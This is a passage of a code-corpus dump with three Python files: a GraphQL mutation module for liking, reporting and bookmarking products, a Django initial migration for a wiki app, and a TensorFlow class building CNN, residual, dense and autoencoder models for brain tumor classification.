description,\n u\"confirmation\": False if not isinstance(confirmation, bool) else confirmation\n })\n except Exception as e:\n logging.error(\n f\"Error reporting this product: {e}.\"\n )\n else:\n ok = True\n else:\n errors.append(\n \"Error reporting this product. Please try again.\"\n )\n else:\n errors.append(\"You have to login to report this product.\")\n\n return ReportProduct(\n ok=ok,\n errors=errors\n )\n\n\nclass ToggleBookmarkProduct(ObjectMutation):\n \"\"\"\n if product is already bookmarked by this user, delete the bookmark relationship\n if not:\n add 1 bookmark\n \"\"\"\n ok = Boolean(required=True)\n errors = List(\n String,\n required=False\n )\n\n class Arguments:\n toProductId = ID(required=True)\n\n async def mutate(self, info, **kwargs):\n ok, errors = False, list()\n bookmarkListToRemove: list = list()\n\n user = info.context[\"request\"].user\n if user.is_authenticated:\n myUserId = getattr(user, \"id\", \"\")\n toProductId = kwargs.get(\"toProductId\", \"\").strip()\n if toProductId != \"\":\n if myUserId != \"\":\n # check bookmark or not:\n try:\n bookmarkRelationGenerator = PRODUCT_BOOKMARK_COLLECTION.where(\n u\"from_user_id\",\n u\"==\",\n u\"{}\".format(myUserId)\n ).where(\n u\"to_product_id\",\n u\"==\",\n u\"{}\".format(toProductId)\n ).stream()\n except Exception as e:\n logging.error(f\"Error fetching product bookmark: {e}.\")\n else:\n for bookmark in bookmarkRelationGenerator:\n bookmarkListToRemove.append(bookmark)\n if len(bookmarkListToRemove):\n ok = True\n else:\n # add bookmark:\n try:\n PRODUCT_BOOKMARK_COLLECTION.add({\n u\"from_user_id\": myUserId,\n u\"to_product_id\": toProductId\n })\n except Exception as e:\n errors.append(\n \"Error bookmarking this product.\")\n logging.error(f\"Error adding bookmark: {e}.\")\n else:\n ok = True\n else:\n logging.error(\n f\"Error getting current user id: <{ToggleBookmarkProduct.__name__}>.\"\n )\n else:\n errors.append(\"Error identifying product. Plese try again.\")\n else:\n errors.append(\"You have to login to bookmark this product.\")\n\n if ok and len(errors) == 0:\n background = info.context[\"background\"]\n # delete existing bookmarks\n if len(bookmarkListToRemove):\n background.add_task(\n remove_documents_from_a_collection,\n bookmarkListToRemove,\n )\n\n return ToggleBookmarkProduct(\n ok=ok,\n errors=errors,\n )\n\n\nclass Mutation(ObjectType):\n toggle_like_product = ToggleLikeProduct.Field()\n report_a_product = ReportProduct.Field()\n toggle_bookmark_product = ToggleBookmarkProduct.Field()\n","sub_path":"social_api/models/product/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":11695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"198195984","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Article',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=254)),\n ('content', models.TextField(max_length=9999999)),\n ('publish_date', models.DateTimeField(auto_now_add=True)),\n ],\n ),\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(unique=True, max_length=64)),\n ],\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=32)),\n ('friends', models.ManyToManyField(related_name='_userprofile_friends_+', to='wiki.UserProfile', blank=True)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.AddField(\n model_name='article',\n name='author',\n field=models.ForeignKey(to='wiki.UserProfile'),\n ),\n migrations.AddField(\n model_name='article',\n name='category',\n field=models.ForeignKey(to='wiki.Category'),\n ),\n ]\n","sub_path":"wiki/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444587312","text":"# Brain Tumor Classification\n# Script for Creating Models\n# Author: Qixun Qu\n# Create on: 2017/10/12\n# Modify on: 2017/11/28\n\n# ,,, ,,,\n# ;\" '; ;' \",\n# ; @.ss$$$$$$s.@ ;\n# `s$$$$$$$$$$$$$$$'\n# $$$$$$$$$$$$$$$$$$\n# $$$$P\"\"Y$$$Y\"\"W$$$$$\n# $$$$ p\"$$$\"q $$$$$\n# $$$$ .$$$$$. $$$$'\n# $$$DaU$$O$$DaU$$$'\n# '$$$$'.^.'$$$$'\n# '&$$$$$&'\n\n'''\n\nClass BTCModels\n\n-1- Define several basic helper functions, which are the\n basic modules to build simple CNN models.\n-2- Define several specific helper functions to construct\n CNN models with more complicate structures.\n-3- Build models: CNN, Full-CNN, Res-CNN and Dense-CNN,\n and sparsity autoencoder with either KL constraint and\n Winner-Take-All constraint.\n\n'''\n\n\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom operator import mul\nfrom functools import reduce\nfrom tensorflow.python.keras.layers import UpSampling2D\nfrom tensorflow.contrib.layers import xavier_initializer\n\n\nclass BTCModels():\n\n def __init__(self, classes=3, act=\"relu\", alpha=None,\n momentum=0.99, drop_rate=0.5, dims=\"3d\",\n cae_pool=None, lifetime_rate=None):\n '''__INIT__\n\n Initialization of BTCModels. In this functions,\n commen parameters of all models are set first.\n\n Inputs:\n -------\n - classes: int, the number of grading groups\n - act: string, indicate the activation method by either\n \"relu\" or \"lrelu\" (leaky relu)\n - alpha: float, slope of the leaky relu at x < 0\n - momentum: float, momentum for removing average in\n batch normalization, typically values are\n 0.999, 0.99, 0.9, etc\n - drop_rate: float, rate of dropout of input units,\n which is between 0 and 1\n - dims: string, \"3d\" (\"3D\") or \"2d\" (\"2D\")\n - cae_pool: sreing, \"stride\" or \"pool\"\n - lifetime_rate: float, the percentage of how many\n sparsity code are kept in autoencoder\n\n '''\n\n # The number of classes\n self.classes = classes\n\n # Settings for activation\n self.act = act\n self.alpha = alpha\n\n # Settings for batch normalization\n self.momentum = momentum\n self.drop_rate = drop_rate\n\n # Set functions to construct models according to\n # the dimentions of input tensor\n self.dims = dims\n if dims == \"3d\" or dims == \"3D\":\n self.conv_func = tf.layers.conv3d\n self.deconv_func = tf.layers.conv3d_transpose\n self.max_pool_func = tf.layers.max_pooling3d\n self.avg_pool_func = tf.layers.average_pooling3d\n self.concat_axis = 4\n self.right_dims = 5\n elif dims == \"2d\" or dims == \"2D\":\n self.conv_func = tf.layers.conv2d\n self.deconv_func = tf.layers.conv2d_transpose\n self.max_pool_func = tf.layers.max_pooling2d\n self.avg_pool_func = tf.layers.average_pooling2d\n self.concat_axis = 3\n self.right_dims = 4\n else:\n raise ValueError(\"Cannot found dimentions in '2d' or '3d'.\")\n\n # Set encoder function\n self.encoder = None\n if cae_pool is not None:\n if cae_pool == \"stride\":\n self.encoder = self._encoder_stride\n elif cae_pool == \"pool\":\n self.encoder = self._encoder_pool\n else:\n raise ValueError(\"Cannot found pool method in 'stride' or 'pool'.\")\n\n # A symbol to indicate whether the model is used to train\n # The symbol will be assigned as a placeholder while\n # feeding the model in training and validating steps\n self.is_training = None\n\n # A symbol for bottleneck in dense cnn\n self.bc = None\n\n # Set lifetime rate for autoencoder with\n # Winner-Take-All constraint\n self.lifetime_rate = lifetime_rate\n\n return\n\n #\n # Basic Helper Functions\n #\n\n def _conv(self, x, filters, kernel_size, strides=1,\n name=\"conv_var\"):\n '''_CONV\n\n Return 3D or 2D convolutional tensor with variables\n initialized by xavier method.\n\n Usages:\n -------\n - full: self._conv(x, 32, 3, 1, \"conv\")\n - short: self._conv(x, 32, 3)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - filters: int, the number of kernels\n - kernel_size: int, the size of kernel\n - strides: int, strides along dimentions\n - name: string, layer's name\n\n Output:\n -------\n - a 3D or 2D convolutional tensor\n\n '''\n\n padding = \"valid\" if kernel_size == 1 else \"same\"\n\n with tf.name_scope(\"conv\"):\n return self.conv_func(inputs=x,\n filters=filters,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n kernel_initializer=xavier_initializer(),\n name=name)\n\n def _fully_connected(self, x, units, name=\"fc_var\"):\n '''_FULLY_CONNECTED\n\n Return fully connected tensor with variables\n initialized by xavier method.\n\n Usages:\n -------\n - full: self._fully_connected(x, 128, \"fc\")\n - short: self._fully_connected(x, 128)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - units: int, the number of neurons\n - name: string, layer's name\n\n Outputs:\n --------\n - a fully connected tensor\n\n '''\n\n with tf.name_scope(\"full_connection\"):\n return tf.layers.dense(inputs=x,\n units=units,\n kernel_initializer=xavier_initializer(),\n name=name)\n\n def _batch_norm(self, x, name=\"bn_var\"):\n '''_BATCH_NORM\n\n Normalize the input tensor.\n Momentum and symbol of is_training have been\n assigned while the class is initialized.\n\n Usages:\n -------\n - full: self._batch_norm(x, \"bn\")\n - short: self._batch_norm(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: string, layer's name\n\n Output:\n -------\n - normalized tensor\n\n '''\n\n with tf.name_scope(\"batch_norm\"):\n return tf.contrib.layers.batch_norm(inputs=x,\n decay=self.momentum,\n is_training=self.is_training,\n scope=name)\n\n def _activate(self, x, name=\"act\"):\n '''_ACTIVATE\n\n Activate input tensor. Several approaches can be available,\n which are ReLU, leaky ReLU, Sigmoid or Tanh.\n Activation method and setting has been set while the\n class is initialized.\n\n Usages:\n -------\n - full: self._activate(x, \"act\")\n - short: self._activate(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: string, layer's name\n\n Output:\n -------\n - an activated tensor\n\n '''\n\n with tf.name_scope(\"activate\"):\n if self.act == \"relu\":\n return tf.nn.relu(x, name)\n elif self.act == \"lrelu\":\n f1 = 0.5 * (1 + self.alpha)\n f2 = 0.5 * (1 - self.alpha)\n return f1 * x + f2 * tf.abs(x)\n elif self.act == \"sigmoid\":\n return tf.nn.sigmoid(x, name)\n elif self.act == \"tanh\":\n return tf.nn.tanh(x, name)\n else: # Raise error if activation method cannot be found\n raise ValueError(\"Could not find act in ['relu', 'lrelu', 'sigmoid', 'tanh']\")\n\n return\n\n def _conv_bn_act(self, x, filters, kernel_size, strides=1,\n name=\"cba\", act=True):\n '''_CONV_BN_ACT\n\n A convolution block, including three sections:\n - 3D or 2D convolution layer\n - batch normalization\n - activation\n\n Usages:\n -------\n - full: self._conv_bn_act(x, 32, 3, 1, \"cba\", True)\n - short: self._conv_bn_act(x, 32, 3, 1, \"cba\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - filters: int, the number of kernels\n - kernel_size: int, the size of kernel\n - strides: int, strides along dimentions\n - name: string, layer's name\n - act: string or None, indicates the activation,\n method, if None, return inactivated layer\n\n Output:\n - a convoluted, normalized and activated (if not None) tensor\n\n '''\n\n with tf.variable_scope(name):\n cba = self._conv(x, filters, kernel_size, strides)\n cba = self._batch_norm(cba)\n if act: # If act is None, return inactivated tensor\n cba = self._activate(cba)\n\n return cba\n\n def _fc_bn_act(self, x, units, name=\"fba\"):\n '''_FC_BN_ACT\n\n A fully connected block, including three sections:\n - full connected layer with given units\n - batch normalization\n - activation\n\n Usages:\n -------\n - full: self._fc_bn_act(x, 128, \"fba\")\n - short: self._fc_bn_act(x, 128)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - units: int, the number of neurons\n - name: string, layer's name\n\n Output:\n -------\n - a fully connected, normalized and activated tensor\n\n '''\n\n with tf.variable_scope(name):\n fba = self._fully_connected(x, units)\n fba = self._batch_norm(fba)\n fba = self._activate(fba)\n\n return fba\n\n def _max_pool(self, x, psize=2, name=\"max_pool\"):\n '''_MAX_POOL\n\n 3D or 2D max pooling layer.\n\n Usages:\n -------\n - full: self._max_pool(x, 2, 2, \"max_pool\")\n - short: self._max_pool(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - psize: int or a list of ints,\n the size of pooling window, and the\n strides of pooling operation as well,\n if it equals to -1, the function performs\n global max pooling\n name: string, layer's name\n\n Output:\n -------\n - the tensor after max pooling\n\n '''\n\n # Global max pooling if psize is -1\n if psize == -1:\n psize = x.get_shape().as_list()[1:-1]\n\n return self.max_pool_func(inputs=x,\n pool_size=psize,\n strides=psize,\n padding=\"same\",\n name=name)\n\n def _average_pool(self, x, psize=2, name=\"avg_pool\"):\n '''_AVERAGE_POOL\n\n 3D or 2D average pooling layer.\n\n Usages:\n -------\n - full: self._average_pool(x, 2, 2, \"avg_pool\")\n - short: self._average_pool(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - psize: int or a list of ints,\n the size of pooling window, and the\n strides of pooling operation as well,\n if it equals to -1, the function performs\n global max pooling\n name: string, layer's name\n\n Output:\n -------\n - the tensor after average pooling\n\n '''\n\n # Global acerage pooling if psize is -1\n if psize == -1:\n psize = x.get_shape().as_list()[1:-1]\n\n return self.avg_pool_func(inputs=x, pool_size=psize,\n strides=psize, padding=\"same\",\n name=name)\n\n def _pooling(self, x, psize=2, mode=\"max\", name=\"pool\"):\n '''_POOLING\n\n Apply pooling method on input tensor with either\n max pooling or average pooling.\n\n Inputs:\n -------\n - x: tensor, the input tensor\n - psize: int or a list of ints,\n the size of pooling window, and the\n strides of pooling operation as well,\n if it equals to -1, the function performs\n global max pooling\n - mode: string, \"max\" or \"avg\"\n - name: string, layer's name\n\n Output:\n -------\n - the tensor after pooling\n\n '''\n\n if mode == \"max\":\n pool = self._max_pool\n elif mode == \"avg\":\n pool = self._average_pool\n else: # Could not find pooling method\n raise ValueError(\"Pooling mode is 'max' or 'avg'.\")\n\n return pool(x, psize, name)\n\n def _flatten(self, x, name=\"flt\"):\n '''_FLATTEN\n\n Flatten 5D or 4D tensor into 1D tensor.\n\n Usages:\n -------\n - full: self._flatten(x, \"flatten\")\n - short: self._flatten(x)\n\n Inputs:\n -------\n - x: 5D or 4D tensor, input tensor\n - name: string, layer's name\n\n Output:\n -------\n - a flattened tensor\n\n '''\n\n # Obtain the number of features\n # contained in the input layer\n x_shape = x.get_shape().as_list()\n f_shape = reduce(mul, x_shape[1:], 1)\n\n with tf.name_scope(\"flatten\"):\n return tf.reshape(tensor=x, shape=[-1, f_shape], name=name)\n\n def _dropout(self, x, name=\"dropout\"):\n '''_DROP_OUT\n\n Apply dropout to the input tensor.\n Drop rate has been set while creating the instance.\n If the is_training symbol is True, apply dropout to the input;\n if not, the untouched input will be returned.\n\n Usage:\n ------\n - full: self._dropout(x, \"dropout\")\n\n Inputs:\n - x: tensor in 5D, 4D or 1D, input tensor\n - name: string, layer's name\n\n Output:\n -------\n - the dropout layer or untouched tensor\n\n '''\n\n return tf.layers.dropout(inputs=x, rate=self.drop_rate,\n training=self.is_training, name=name)\n\n def _logits_fc(self, x, name=\"logits\"):\n '''_LOGITS_FC\n\n Generate logits by fully conneted layer.\n The output size is equal to the number of classes.\n\n Usages:\n -------\n - full: self._logits_fc(x, \"logits\")\n - short: self._logits_fc(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: layer's name\n\n Output:\n - logit of each class\n\n '''\n\n with tf.variable_scope(name):\n return self._fully_connected(x, self.classes, name)\n\n #\n # Helper function for full cnn\n #\n\n def _logits_conv(self, x, name=\"logits\"):\n '''_LOGITS_CONV\n\n Generate logits by convolutional tensor.\n The output size is equal to the number of classes.\n\n Usages:\n -------\n - full: self._logits_conv(x, \"logits\")\n - short: self._logits_conv(x)\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: layer's name\n\n Output:\n - logit of each class\n\n '''\n\n x_shape = x.get_shape().as_list()\n with tf.variable_scope(name):\n return self._conv(x, self.classes, x_shape[1:-1], 1)\n\n #\n # Helper function for residual cnn\n #\n\n def _res_block(self, x, filters, strides=1, name=\"res\"):\n '''_RES_BLOCK\n\n The basic bloack for residual network.\n - check whether shortcut is necessary\n - three convolutional layers\n - obtain shortcut if necessary\n - elementwisely sum convoluted result and original\n inputs (or shortcut if necessary)\n\n Usage:\n -------\n - full: self._res_block(x, [8, 16, 32], 1, \"res\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - filters: list with three ints, indicates the number\n of filters of each convolutional layer\n - strides: int, strides along three dimentions for the\n first convolution layer or the shortcut\n - name: string, layer's name\n\n Output:\n -------\n - a tensor after one residual block\n\n '''\n\n # As default, shortcut is unnecessary\n shortcut = False\n\n # If the shape of output is not same as the input's,\n # now, shortcut has to be obtained\n if (x.get_shape().as_list()[-1] != filters[2]) or strides != 1:\n shortcut = True\n\n # Three convolutional layers\n # Note: the strides of first layer can be changed\n res = self._conv_bn_act(x, filters[0], 1, strides, name + \"_conv1\")\n res = self._conv_bn_act(res, filters[1], 3, 1, name + \"_conv2\")\n # Note: the third layer is inactivated\n res = self._conv_bn_act(res, filters[2], 1, 1, name + \"_conv3\", False)\n\n # Shortcut layer is inactivated\n if shortcut:\n x = self._conv_bn_act(x, filters[2], 1, strides,\n name + \"_shortcut\", False)\n\n # Elementwisely add\n with tf.name_scope(name + \"_add\"):\n res = tf.add(res, x)\n\n # Return the activated summation\n return self._activate(res)\n\n #\n # Helpher functions for dense cnn\n #\n\n def _dense_block(self, x, growth_rate, internals, name=\"dense_block\"):\n '''_DENSE_BLOCK\n\n The basic block of dense network.\n The struction of one block:\n --- dense block\n |--- internal1\n |--- bottleneck (if self.bs is true)\n |--- composite\n |--- concatenate\n |--- internal2\n |--- same as internal1\n ...\n |--- internaln\n |--- same as internal1\n\n Usage:\n ------\n - full: self._dense_block(x, 16, 4, \"block1\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - growth_rate: int, the number of kernels in\n each internal section\n - internals: int, the number of internals\n - name: string, block's name\n\n Output:\n -------\n - a dense block\n\n '''\n\n dense = x\n\n # Combine all internals\n for internal in range(internals):\n dense = self._dense_internal(dense, growth_rate,\n str(internal + 1), name)\n\n return dense\n\n def _dense_internal(self, x, growth_rate, no, name):\n '''_DENSE_INTERNAL\n\n Internal section of a dense block.\n - bottleneck (if self.bc is True)\n - composite\n - concate\n\n Usage:\n ------\n - full: self._dense_internal(x, 16, 1, \"block1\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - growth_rate: int, the number of kernels\n - no: string, internal number\n - name: string, block's name\n\n Output:\n -------\n - one internal section of one dense block\n\n '''\n\n dint = x\n\n # Obtain bottleneck section\n if self.bc:\n with tf.variable_scope(name + \"_bott\" + no):\n dint = self._bottleneck(x, growth_rate)\n\n # Obtain composite section\n with tf.variable_scope(name + \"_comp\" + no):\n dint = self._composite(dint, growth_rate, 3)\n\n # Concatenate original input (or bottleneck section)\n # with composite section\n\n with tf.name_scope(name + \"_concat\" + no):\n dint = tf.concat((x, dint), self.concat_axis)\n\n return dint\n\n def _bottleneck(self, x, filters, name=\"bottleneck\"):\n '''_BOTTLENECK\n\n Bottleneck section to reduce the number of input\n features to improve computational efficiency.\n - batch normalization\n - activation\n - convolution\n - dropout if self.is_training is a True placeholder\n\n Usage:\n ------\n - full: self._bottleneck(x, 16, \"bottleneck\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - filters: int, also known as growth rate, the number of\n filters in composite section\n - name: string, section's name\n\n Output:\n -------\n - the bottleneck layer\n\n '''\n\n bott = self._batch_norm(x)\n bott = self._activate(bott)\n bott = self._conv(bott, filters * 4, 1)\n bott = self._dropout(bott)\n\n return bott\n\n def _composite(self, x, filters, kernel_size=3, name=\"composite\"):\n '''_COPOSITE\n\n The convolutional section of dense block.\n - batch normalization\n - activation\n - convolution\n - dropout if self.is_training is a True placeholder\n\n Usage:\n - full: self._composite(x, 16, 3, \"composite\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - filters: int, also known as growth rate,\n the number of filters\n - kernel_size: int, the size of kernels\n - name: string, section's name\n\n output:\n -------\n - a composite section\n\n '''\n\n comp = self._batch_norm(x)\n comp = self._activate(comp)\n comp = self._conv(comp, filters, kernel_size)\n comp = self._dropout(comp)\n\n return comp\n\n def _transition(self, x, name=\"transition\"):\n '''_TRANSITION\n\n The transition layer between two dense blocks.\n - batch normalization\n - activation\n - convolution\n - dropout if self.is_training is a True placeholder\n - average pooling\n\n Usage:\n ------\n - full: self._transition(x, \"trans\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: string, section's name\n\n Output:\n - a tensor after average pooling\n\n '''\n\n out_channels = x.get_shape().as_list()[-1]\n with tf.variable_scope(name + \"_comp\"):\n tran = self._composite(x, out_channels, 1)\n tran = self._average_pool(tran, 2, name + \"_avgpool\")\n\n return tran\n\n def _last_transition(self, x, name=\"global_avgpool\"):\n '''_LAST_TRANSITION\n\n The last transition section before logits layer.\n - batch normalization\n - activation\n - global average polling\n\n Usage:\n ------\n - full: self._last_transition(x, \"trans\")\n\n Inputs:\n -------\n - x: tensor, input tensor\n - name: string, section's name\n\n Output:\n - a tensor after global average pooling\n\n '''\n\n with tf.variable_scope(\"last_trans\"):\n last_tran = self._batch_norm(x)\n last_tran = self._activate(last_tran)\n\n last_tran = self._average_pool(last_tran, -1, name)\n\n return last_tran\n\n #\n # Helper functions for autoencoder\n #\n\n def _deconv(self, x, filters, kernel_size, strides=1, name=\"deconv_var\"):\n '''_DECONV\n\n Return 3D or 2D deconvolution layer with variables\n initialized by xavier method.\n\n Usages:\n -------\n - full: self._deconv(x, 32, 3, 1, \"deconv\")\n - short: self._deconv(x, 32, 3)\n\n Inputs:\n -------\n - x: tensor, input layer\n - filters: int, the number of kernels\n - kernel_size: int, the size of kernel\n - strides: int, strides along dimentions\n - name: string, layer's name\n\n Output:\n -------\n - a 3D or 2D deconvolution layer\n\n '''\n\n padding = \"valid\" if kernel_size == 1 else \"same\"\n\n with tf.name_scope(\"deconv\"):\n return self.deconv_func(inputs=x,\n filters=filters,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n kernel_initializer=xavier_initializer(),\n name=name)\n\n def _deconv_bn_act(self, x, filters, kernel_size,\n strides=1, name=\"dba\", act=True):\n '''_DECONV_BN_ACT\n\n A deconvolution block, including three sections:\n - 3D or 2D deconvolution layer\n - batch normalization\n - activation\n\n Usages:\n -------\n - full: self._deconv_bn_act(x, 32, 3, 1, \"dba\", True)\n - short: self._deconv_bn_act(x, 32, 3, 1, \"dba\")\n\n Inputs:\n -------\n - x: tensor, input layer\n - filters: int, the number of kernels\n - kernel_size: int, the size of kernel\n - strides: int, strides along dimentions\n - name: string, layer's name\n - act: string or None, indicates the activation,\n method, if None, return inactivated layer\n\n Output:\n - a deconvoluted, normalized and activated (if not None) layer\n\n '''\n\n with tf.variable_scope(name):\n dba = self._deconv(x, filters, kernel_size, strides)\n dba = self._batch_norm(dba)\n if act: # If False, return inactivated result\n dba = self._activate(dba)\n\n return dba\n\n def _encoder_stride(self, x):\n '''_ENCODER_STRIDE\n\n Encoder sectio of autoencoder.\n Each convolutional layer has strides 2.\n No other pooling methods are applied.\n\n Inputs:\n -------\n - x: tensor, original input\n\n Output:\n -------\n - compressed representation of input sample\n\n '''\n\n code = self._conv_bn_act(x, 32, 5, 1, \"conv1\")\n code = self._conv_bn_act(code, 32, 5, 1, \"conv2\")\n code = self._conv_bn_act(code, 64, 5, 2, \"conv3\")\n # code = self._dropout(code, \"en_dropout1\")\n code = self._conv_bn_act(code, 64, 5, 1, \"conv4\")\n code = self._conv_bn_act(code, 64, 5, 1, \"conv5\")\n code = self._conv_bn_act(code, 128, 5, 2, \"conv6\")\n # code = self._dropout(code, \"en_dropout2\")\n code = self._conv_bn_act(code, 128, 5, 1, \"conv7\")\n code = self._conv_bn_act(code, 128, 5, 1, \"conv8\")\n code = self._conv_bn_act(code, 256, 5, 2, \"conv9\")\n\n return code\n\n def _encoder_decoder(self, x):\n preconv = self._conv_bn_act(x, 32, 7, 1, \"preconv\")\n\n # 112\n code1 = self._conv_bn_act(preconv, 64, 3, 1, \"code1\")\n code2_na = self._conv_bn_act(code1, 64, 3, 1, \"code2_na\", False)\n code2 = self._activate(code2_na, \"code2\")\n\n # 56\n maxp1 = self._pooling(code2, 2, \"max\", \"maxp1\")\n code3 = self._conv_bn_act(maxp1, 128, 3, 1, \"code3\")\n code4_na = self._conv_bn_act(code3, 128, 3, 1, \"code4_na\", False)\n code4 = self._activate(code4_na, \"code4\")\n\n # 28\n maxp2 = self._pooling(code4, 2, \"max\", \"maxp2\")\n code5 = self._conv_bn_act(maxp2, 256, 3, 1, \"code5\")\n code6_na = self._conv_bn_act(code5, 256, 3, 1, \"code6_na\", False)\n code6 = self._activate(code6_na, \"code6\")\n\n # 14\n maxp3 = self._pooling(code6, 2, \"max\", \"maxp3\")\n code7 = self._conv_bn_act(maxp3, 512, 3, 1, \"code7\")\n code8_na = self._conv_bn_act(code7, 512, 3, 1, \"code8_na\", False)\n code8 = self._activate(code8_na, \"code8\")\n\n # 7\n maxp4 = self._pooling(code8, 2, \"max\", \"maxp4\")\n code9 = self._conv_bn_act(maxp4, 1024, 3, 1, \"code9\")\n code10 = self._conv_bn_act(code9, 1024, 3, 1, \"code10\")\n\n # 14\n upsp1 = UpSampling2D(size=(2, 2))(code10)\n code11_na = self._conv_bn_act(upsp1, 512, 3, 1, \"code11_na\", False)\n code11 = self._activate(tf.add(code11_na, code8_na), \"code11\")\n code12 = self._conv_bn_act(code11, 512, 3, 1, \"code12\")\n\n # 28\n upsp2 = UpSampling2D(size=(2, 2))(code12)\n code13_na = self._conv_bn_act(upsp2, 256, 3, 1, \"code13_na\", False)\n code13 = self._activate(tf.add(code13_na, code6_na), \"code13\")\n code14 = self._conv_bn_act(code13, 256, 3, 1, \"code14\")\n\n # 56\n upsp3 = UpSampling2D(size=(2, 2))(code14)\n code15_na = self._conv_bn_act(upsp3, 128, 3, 1, \"code15_na\", False)\n code15 = self._activate(tf.add(code15_na, code4_na), \"code15\")\n code16 = self._conv_bn_act(code15, 128, 3, 1, \"code16\")\n\n # 112\n upsp4 = UpSampling2D(size=(2, 2))(code16)\n code17_na = self._conv_bn_act(upsp4, 64, 3, 1, \"code17_na\", False)\n code17 = self._activate(tf.add(code17_na, code2_na), \"code17\")\n code18 = self._conv_bn_act(code17, 64, 3, 1, \"code18\")\n\n decode = self._conv_bn_act(code18, 4, 1, 1, \"decode\", False)\n decode = tf.nn.tanh(decode, \"tanh\")\n\n return decode\n\n def _encoder_pool(self, x):\n '''_ENCODER_POOL\n\n Encoder sectio of autoencoder.\n Convolutional layer has strides 1.\n Max pooling method is applied after\n each convolutional layer.\n\n Inputs:\n -------\n - x: tensor, original input\n\n Output:\n -------\n - compressed representation of input sample\n\n '''\n\n code = self._conv_bn_act(x, 32, 7, 1, \"conv1\")\n code = self._conv_bn_act(code, 32, 7, 1, \"conv2\")\n code = self._conv_bn_act(code, 32, 7, 1, \"conv3\")\n code = self._pooling(code, 2, \"max\", \"max_pool1\")\n # code = self._dropout(code, \"en_dropout1\")\n code = self._conv_bn_act(code, 64, 5, 1, \"conv4\")\n code = self._conv_bn_act(code, 64, 5, 1, \"conv5\")\n code = self._conv_bn_act(code, 64, 5, 1, \"conv6\")\n code = self._pooling(code, 2, \"max\", \"max_pool2\")\n # code = self._dropout(code, \"en_dropout2\")\n code = self._conv_bn_act(code, 128, 3, 1, \"conv7\")\n code = self._conv_bn_act(code, 128, 3, 1, \"conv8\")\n code = self._conv_bn_act(code, 128, 3, 1, \"conv9\")\n code = self._pooling(code, 2, \"max\", \"max_pool3\")\n code = self._conv_bn_act(code, 256, 3, 1, \"conv10\")\n code = self._conv_bn_act(code, 256, 3, 1, \"conv11\")\n code = self._conv_bn_act(code, 256, 3, 1, \"conv12\")\n code = self._pooling(code, 2, \"max\", \"max_pool4\")\n code = self._conv_bn_act(code, 512, 3, 1, \"conv13\")\n code = self._conv_bn_act(code, 1024, 3, 1, \"conv14\")\n\n return code\n\n def _wta_constraint(self, code, k=1):\n '''_WTA_CONSTRAINT\n\n Winner-Take-All constraint to generate sparse\n representation by keeping largest values of\n the compression code, which consists of two steps:\n - get spatial sparsity\n - get lifetime sparsity\n\n Inputs:\n -------\n - code: tensor, compressed code after encoder\n - k: int, the number of largest values to be kept\n - another parameter, lifetime_rate, has been assigned\n when the instance is initialized\n\n Output:\n -------\n - sparse representation\n\n '''\n\n # The function to kept k largest values in\n # code, and set others to zeros.\n def spatial_sparsity(code, k):\n # Obtain the shape of code\n # n: batch size\n # c: the number of feaure maps\n # (or the number of filters)\n shape = code.get_shape().as_list()\n n, c = shape[0], shape[-1]\n\n # As the input tensor could be 5D or 4D,\n # set up parameters for different inputs\n if len(shape) == 5:\n transpose_perm = [0, 4, 1, 2, 3]\n threshold_shape = [n, 1, 1, 1, c]\n elif len(shape) == 4:\n transpose_perm = [0, 3, 1, 2]\n threshold_shape = [n, 1, 1, c]\n else:\n raise ValueError(\"Cannot handle with the input.\")\n\n code_transpose = tf.transpose(code, transpose_perm)\n code_reshape = tf.reshape(code_transpose, [n, c, -1])\n\n # Get top k values of code\n code_top_k, _ = tf.nn.top_k(code_reshape, k)\n # Get the minimum of top k values to do thresholding\n code_top_k_min = code_top_k[..., k - 1]\n\n # Threshold the code, the indices of top k values is 1,\n # and set others to 0\n threshold = tf.reshape(code_top_k_min, threshold_shape)\n drop_map = tf.where(code < threshold,\n tf.zeros(shape, tf.float32),\n tf.ones(shape, tf.float32))\n\n # Keep top k value in code\n code = code * drop_map\n # Save top k values as winner\n winner = tf.reshape(code_top_k, [n, c, k])\n\n return code, winner\n\n # The function to carry out lifetime sparsity.\n # For example, the batch size is 64, which means each\n # filter will lead to 64 winners, lifetime sparsity\n # is going to keep largest winners in the percentage of\n # self.lifetime_rate, and set others to zeros. Those left\n # feature maps are winners in winners.\n def lifetime_sparsity(code, 